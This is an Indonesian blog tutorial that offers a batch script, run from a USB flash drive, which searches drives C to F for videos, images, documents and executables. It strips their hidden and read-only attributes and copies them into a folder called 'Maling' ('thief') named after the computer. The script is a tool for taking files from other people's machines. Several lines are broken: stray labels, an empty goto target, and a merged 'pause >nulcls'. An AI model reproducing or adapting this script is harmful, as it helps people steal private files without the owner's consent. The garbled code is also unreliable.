Cara membuat Copy Generator menggunakan Notepad

hallo sobat LWC kali ini LWC akan memberikan info tentang cara membuat program aplikasi pengcopy file yang berekstensi
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx

ok langsung aja ya

1.buka notepad kalian,bukan buku tulis loh tapi yang ini

2.copy code ini ke notepad kalian

echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Copy Generator V 1.0
msg * software digunakan untuk mengcopy
msg * File atau data2
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Copy Generator V 1.0³
echo ³ Author :Black Viper LWC ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption

echo ------EKSTENSI FILE----------

echo [1] 3gp [4] jpg [7] doc

echo [2] wmv [5] rm [8] xls

echo [3] avi [6] mpg [9] Exit

echo [10] exe

echo =============================

echo.

set/p "pil=Masukan Pilihan: "

if %pil%=='' goto option

if %pil%==1 goto 3gp

if %pil%==2 goto wmv

if %pil%==3 goto avi

if %pil%==4 goto jpg

if %pil%==5 goto rm

if %pil%==6 goto mpg

if %pil%==7 goto

if %pil%==8 goto m

if %pil%==9 goto keluar

if %pil%==10 goto exe

goto option
:3gp
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal

goto option
:goto wmv
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul


goto option
:avi
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:jpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:rm
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls

goto option
:mpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:doc
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:xls
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:exe
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls


:keluar
msg * proses pemindahan file
msg * 50% lagi selesai
msg * 100%
msg * data telah tercopy
Exit

3.save dengan format .bat contoh:CopyGeneratorV1.0.bat

cara menggunakan

1.copy aplikasi ini ke flashdisk kalian

2.masukan nomor file ekstensi yang ingin dicopy

Selesai selamat mencoba

terimakasih sudah membaca artikel ini,sampai jumpa di artikel berikutnya